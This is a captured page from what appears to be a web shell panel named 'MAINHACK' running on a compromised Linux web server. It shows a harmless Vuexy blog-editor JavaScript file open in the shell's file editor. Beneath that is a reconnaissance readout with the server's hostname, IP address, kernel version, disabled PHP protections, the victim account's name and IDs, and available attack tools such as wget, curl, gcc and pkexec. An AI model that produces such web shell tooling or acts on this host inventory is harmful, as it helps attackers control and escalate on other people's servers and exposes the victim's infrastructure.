[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: page-blog-edit.js
/*========================================================================================= File Name: blog-edit.js Description: Blog edit field select2 and quill editor JS ---------------------------------------------------------------------------------------- Item Name: Vuexy - Vuejs, HTML & Laravel Admin Dashboard Template Author: PIXINVENT Author URL: http://www.themeforest.net/user/pixinvent ==========================================================================================*/ (function (window, document, $) { 'use strict'; var select = $('.select2'); var editor = '#blog-editor-container .editor'; var blogFeatureImage = $('#blog-feature-image'); var blogImageText = document.getElementById('blog-image-text'); var blogImageInput = $('#blogCustomFile'); // Basic Select2 select select.each(function () { var $this = $(this); $this.wrap('<div class="position-relative"></div>'); $this.select2({ // the following code is used to disable x-scrollbar when click in select input and // take 100% width in responsive also dropdownAutoWidth: true, width: '100%', dropdownParent: $this.parent() }); }); // Snow Editor var Font = Quill.import('formats/font'); Font.whitelist = ['sofia', 'slabo', 'roboto', 'inconsolata', 'ubuntu']; Quill.register(Font, true); var blogEditor = new Quill(editor, { bounds: editor, modules: { formula: true, syntax: true, toolbar: [ [ { font: [] }, { size: [] } ], ['bold', 'italic', 'underline', 'strike'], [ { color: [] }, { background: [] } ], [ { script: 'super' }, { script: 'sub' } ], [ { header: '1' }, { header: '2' }, 'blockquote', 'code-block' ], [ { list: 'ordered' }, { list: 'bullet' }, { indent: '-1' }, { indent: '+1' } ], [ 'direction', { align: [] } ], ['link', 'image', 'video', 'formula'], ['clean'] ] }, theme: 'snow' }); // Change featured image if (blogImageInput.length) { $(blogImageInput).on('change', function (e) { var reader = new FileReader(), files = e.target.files; reader.onload = function () { if (blogFeatureImage.length) { blogFeatureImage.attr('src', reader.result); } }; reader.readAsDataURL(files[0]); blogImageText.innerHTML = blogImageInput.val(); }); } })(window, document, jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002